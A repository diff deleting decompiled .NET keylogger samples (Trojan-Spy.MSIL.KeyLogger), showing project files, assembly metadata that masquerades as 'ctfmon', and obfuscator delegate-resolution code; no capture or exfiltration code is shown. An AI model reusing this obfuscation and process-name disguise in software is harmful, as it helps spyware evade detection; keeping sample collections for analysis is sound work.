mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

54
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.csproj
View File

@ -1,54 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{6490185F-38B3-4D88-8094-EBFE657A21A6}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>İnternet Explororer İncons</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>İnternet_Explororer_İncons</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="Keyboard.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "İnternet Explororer İncons", "Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.csproj", "{6490185F-38B3-4D88-8094-EBFE657A21A6}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6490185F-38B3-4D88-8094-EBFE657A21A6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6490185F-38B3-4D88-8094-EBFE657A21A6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6490185F-38B3-4D88-8094-EBFE657A21A6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6490185F-38B3-4D88-8094-EBFE657A21A6}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

15
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/AssemblyInfo.cs
View File

@ -1,15 +0,0 @@
using SmartAssembly.Attributes;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("ctfmon")]
[assembly: AssemblyCopyright("© wadnhj218u9sfj")]
[assembly: PoweredBy("Powered by {smartassembly}")]
[assembly: Guid("000dc2f3-c5ff-0000-ac7f-1150bb0b5000")]
[assembly: AssemblyFileVersion("6.0.6.0")]
[assembly: AssemblyCompany("fawfaw Inc.")]
[assembly: AssemblyDescription("awd2 ffaf")]
[assembly: SuppressIldasm]
[assembly: AssemblyProduct("awokjowa 0waoo")]
[assembly: AssemblyVersion("6.0.1.0")]

17
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/PoweredByAttribute.cs
View File

@ -1,17 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.PoweredByAttribute
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System;
namespace SmartAssembly.Attributes
{
public sealed class PoweredByAttribute : Attribute
{
public PoweredByAttribute(string s)
{
}
}
}

12
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/Token20000A6.cs
View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.Token20000A6
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace SmartAssembly.Attributes
{
internal class Token20000A6 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

193
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.csproj
View File

@ -1,193 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{CF8926A6-D304-401E-947D-4BBB8963BACF}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>ctfmon</AssemblyName>
<ApplicationVersion>6.0.1.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_008C.cs" />
<Compile Include="_008D.cs" />
<Compile Include="_008E.cs" />
<Compile Include="_008F.cs" />
<Compile Include="_0090.cs" />
<Compile Include="_0091.cs" />
<Compile Include="_0092.cs" />
<Compile Include="_0093.cs" />
<Compile Include="_0094.cs" />
<Compile Include="_0095.cs" />
<Compile Include="_0096.cs" />
<Compile Include="_0097.cs" />
<Compile Include="_0098.cs" />
<Compile Include="_0099.cs" />
<Compile Include="_009A.cs" />
<Compile Include="_009B.cs" />
<Compile Include="_009C.cs" />
<Compile Include="_009D.cs" />
<Compile Include="_009E.cs" />
<Compile Include="_009F.cs" />
<Compile Include="_0001_0002.cs" />
<Compile Include="_0002_0002.cs" />
<Compile Include="_0003_0002.cs" />
<Compile Include="_0004_0002.cs" />
<Compile Include="_0005_0002.cs" />
<Compile Include="_0006_0002.cs" />
<Compile Include="_0007_0002.cs" />
<Compile Include="_0008_0002.cs" />
<Compile Include="_000E_0002.cs" />
<Compile Include="_000F_0002.cs" />
<Compile Include="_0010_0002.cs" />
<Compile Include="_0011_0002.cs" />
<Compile Include="_0012_0002.cs" />
<Compile Include="_0013_0002.cs" />
<Compile Include="_0014_0002.cs" />
<Compile Include="_0015_0002.cs" />
<Compile Include="_0016_0002.cs" />
<Compile Include="_0017_0002.cs" />
<Compile Include="_0018_0002.cs" />
<Compile Include="_0019_0002.cs" />
<Compile Include="_001A_0002.cs" />
<Compile Include="_001B_0002.cs" />
<Compile Include="_001C_0002.cs" />
<Compile Include="_001D_0002.cs" />
<Compile Include="_001E_0002.cs" />
<Compile Include="_001F_0002.cs" />
<Compile Include="_007F_0002.cs" />
<Compile Include="_0080_0002.cs" />
<Compile Include="_0081_0002.cs" />
<Compile Include="_0082_0002.cs" />
<Compile Include="_0083_0002.cs" />
<Compile Include="_0084_0002.cs" />
<Compile Include="_0086_0002.cs" />
<Compile Include="_0087_0002.cs" />
<Compile Include="_0088_0002.cs" />
<Compile Include="_0089_0002.cs" />
<Compile Include="_008A_0002.cs" />
<Compile Include="_008B_0002.cs" />
<Compile Include="_008C_0002.cs" />
<Compile Include="_008D_0002.cs" />
<Compile Include="_008E_0002.cs" />
<Compile Include="_008F_0002.cs" />
<Compile Include="_0090_0002.cs" />
<Compile Include="_0091_0002.cs" />
<Compile Include="_0092_0002.cs" />
<Compile Include="_0093_0002.cs" />
<Compile Include="_0094_0002.cs" />
<Compile Include="_0095_0002.cs" />
<Compile Include="_0096_0002.cs" />
<Compile Include="_0097_0002.cs" />
<Compile Include="_0098_0002.cs" />
<Compile Include="_0099_0002.cs" />
<Compile Include="_009A_0002.cs" />
<Compile Include="_009B_0002.cs" />
<Compile Include="_009C_0002.cs" />
<Compile Include="_009D_0002.cs" />
<Compile Include="_009E_0002.cs" />
<Compile Include="_009F_0002.cs" />
<Compile Include="_0001_0003.cs" />
<Compile Include="_0002_0003.cs" />
<Compile Include="_0003_0003.cs" />
<Compile Include="_0004_0003.cs" />
<Compile Include="_0005_0003.cs" />
<Compile Include="_0006_0003.cs" />
<Compile Include="_0007_0003.cs" />
<Compile Include="_0008_0003.cs" />
<Compile Include="_000E_0003.cs" />
<Compile Include="_000F_0003.cs" />
<Compile Include="_0010_0003.cs" />
<Compile Include="_0011_0003.cs" />
<Compile Include="_0012_0003.cs" />
<Compile Include="_0013_0003.cs" />
<Compile Include="_0014_0003.cs" />
<Compile Include="_0015_0003.cs" />
<Compile Include="_0016_0003.cs" />
<Compile Include="_0017_0003.cs" />
<Compile Include="_0018_0003.cs" />
<Compile Include="_0019_0003.cs" />
<Compile Include="_001A_0003.cs" />
<Compile Include="_001B_0003.cs" />
<Compile Include="_001C_0003.cs" />
<Compile Include="_001D_0003.cs" />
<Compile Include="_001E_0003.cs" />
<Compile Include="_001F_0003.cs" />
<Compile Include="_007F_0003.cs" />
<Compile Include="_0080_0003.cs" />
<Compile Include="_0081_0003.cs" />
<Compile Include="_0082_0003.cs" />
<Compile Include="_0083_0003.cs" />
<Compile Include="_0084_0003.cs" />
<Compile Include="_0086_0003.cs" />
<Compile Include="_0087_0003.cs" />
<Compile Include="_0088_0003.cs" />
<Compile Include="_0089_0003.cs" />
<Compile Include="_008A_0003.cs" />
<Compile Include="_008B_0003.cs" />
<Compile Include="_008C_0003.cs" />
<Compile Include="_008D_0003.cs" />
<Compile Include="_008E_0003.cs" />
<Compile Include="_008F_0003.cs" />
<Compile Include="_0090_0003.cs" />
<Compile Include="_0091_0003.cs" />
<Compile Include="_0092_0003.cs" />
<Compile Include="ctfmon\My\MySettings.cs" />
<Compile Include="ctfmon\My\Token20000A9.cs" />
<Compile Include="_0003\_0001.cs" />
<Compile Include="_0003\_0002.cs" />
<Compile Include="_0003\_0003.cs" />
<Compile Include="_0003\Token20000A5.cs" />
<Compile Include="_0001\_0001.cs" />
<Compile Include="_0001\_0002.cs" />
<Compile Include="_0001\_0003.cs" />
<Compile Include="_0001\Token20000A3.cs" />
<Compile Include="_0005\_0001.cs" />
<Compile Include="_0005\_0002.cs" />
<Compile Include="_0005\_0003.cs" />
<Compile Include="_0005\Token20000A8.cs" />
<Compile Include="_0004\_0001.cs" />
<Compile Include="_0004\_0002.cs" />
<Compile Include="_0004\_0003.cs" />
<Compile Include="_0004\Token20000A7.cs" />
<Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
<Compile Include="SmartAssembly\Attributes\Token20000A6.cs" />
<Compile Include="_0002\_0001.cs" />
<Compile Include="_0002\_0002.cs" />
<Compile Include="_0002\_0003.cs" />
<Compile Include="_0002\Token20000A4.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="_0004\_0003.resx" />
<EmbeddedResource Include="{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2}" />
<EmbeddedResource Include="ctfmon\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ctfmon", "Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.csproj", "{CF8926A6-D304-401E-947D-4BBB8963BACF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CF8926A6-D304-401E-947D-4BBB8963BACF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CF8926A6-D304-401E-947D-4BBB8963BACF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CF8926A6-D304-401E-947D-4BBB8963BACF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CF8926A6-D304-401E-947D-4BBB8963BACF}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

12
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/Token20000A3.cs
View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A3
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace \u0001
{
internal class Token20000A3 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

72
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0001.cs
View File

@ -1,72 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0001
{
internal sealed class \u0001
{
private static \u0001.\u0001 \u0001;
private long \u0001 = DateTime.Now.Ticks;
[DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
private static extern int \u0002(
IntPtr process,
int minimumWorkingSetSize,
int maximumWorkingSetSize);
private void \u0002()
{
try
{
using (Process currentProcess = Process.GetCurrentProcess())
\u0001.\u0001.\u0002(currentProcess.Handle, -1, -1);
}
catch
{
}
}
private void \u0002(object sender, EventArgs e)
{
try
{
long ticks = DateTime.Now.Ticks;
if (ticks - this.\u0001 <= 10000000L)
return;
this.\u0001 = ticks;
this.\u0002();
}
catch
{
}
}
private \u0001()
{
// ISSUE: method pointer
Application.Idle += new EventHandler((object) this, __methodptr(\u0002));
this.\u0002();
}
public static void \u0003()
{
try
{
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
return;
\u0001.\u0001.\u0001 = new \u0001.\u0001();
}
catch
{
}
}
}
}

10
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0002.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace \u0001
{
internal delegate string \u0002(int i);
}

54
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0003.cs
View File

@ -1,54 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using \u0001;
using \u0003;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
namespace \u0001
{
internal static class \u0003
{
public static void \u0002()
{
Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
try
{
if ((object) field.FieldType == (object) typeof (\u0002))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, declaringType, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
foreach (MethodInfo method in typeof (\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public))
{
if ((object) method.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, method);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
break;
}
}
catch
{
}
}
}
}
}

9
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0002.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System.Windows.Forms;
internal delegate Keys \u0001\u0002();

9
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using System;
internal delegate OperatingSystem \u0001\u0003();

12
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/Token20000A4.cs
View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A4
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
namespace \u0002
{
internal class Token20000A4 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

184
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0001.cs
View File

@ -1,184 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe
using \u0002;
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0002
{
internal static class \u0001
{
private static ModuleHandle \u0001;
private static char[] \u0001 = new char[58]
{
'\u0001',
'\u0002',
'\u0003',
'\u0004',
'\u0005',
'\u0006',
'\a',
'\b',
'\u000E',
'\u000F',
'\u0010',
'\u0011',
'\u0012',
'\u0013',
'\u0014',
'\u0015',
'\u0016',
'\u0017',
'\u0018',
'\u0019',
'\u001A',
'\u001B',
'\u001C',
'\u001D',
'\u001E',
'\u001F',
'\u007F',
'\u0080',
'\u0081',
'\u0082',
'\u0083',
'\u0084',
'\u0086',
'\u0087',
'\u0088',
'\u0089',
'\u008A',
'\u008B',
'\u008C',
'\u008D',
'\u008E',
'\u008F',
'\u0090',
'\u0091',
'\u0092',
'\u0093',
'\u0094',
'\u0095',
'\u0096',
'\u0097',
'\u0098',
'\u0099',
'\u009A',
'\u009B',
'\u009C',
'\u009D',
'\u009E',
'\u009F'
};
public static void \u0002([In] int obj0)
{
Type typeFromHandle;
try
{
typeFromHandle = Type.GetTypeFromHandle(\u0001.\u0001.ResolveTypeHandle(33554433 + obj0));
}
catch
{
return;
}
foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
string name = field.Name;
bool flag = false;
int num = 0;
for (int index1 = name.Length - 1; index1 >= 0; --index1)
{
char ch = name[index1];
if (ch == '~')
{
flag = true;
break;
}
for (int index2 = 0; index2 < 58; ++index2)
{
if ((int) \u0001.\u0001[index2] == (int) ch)
{
num = num * 58 + index2;
break;
}
}
}
MethodInfo methodFromHandle;
try
{
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0001.\u0001.ResolveMethodHandle(num + 167772161));
}
catch
{
continue;
}
Delegate @delegate;
if (methodFromHandle.IsStatic)
{
try
{
@delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
}
catch (Exception ex)
{
continue;
}
}
else
{
ParameterInfo[] parameters = methodFromHandle.GetParameters();
int length = parameters.Length + 1;
Type[] parameterTypes = new Type[length];
parameterTypes[0] = typeof (object);
for (int index = 1; index < length; ++index)
parameterTypes[index] = parameters[index - 1].ParameterType;
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
if (length > 1)
ilGenerator.Emit(OpCodes.Ldarg_1);
if (length > 2)
ilGenerator.Emit(OpCodes.Ldarg_2);
if (length > 3)
ilGenerator.Emit(OpCodes.Ldarg_3);
if (length > 4)
{
for (int index = 4; index < length; ++index)
ilGenerator.Emit(OpCodes.Ldarg_S, index);
}
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
ilGenerator.Emit(OpCodes.Ret);
try
{
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
}
catch
{
continue;
}
}
try
{
field.SetValue((object) null, (object) @delegate);
}
catch
{
}
}
}
static \u0001()
{
if ((object) typeof (MulticastDelegate) == null)
return;
\u0001.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
}
}
}

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0002.cs
View File

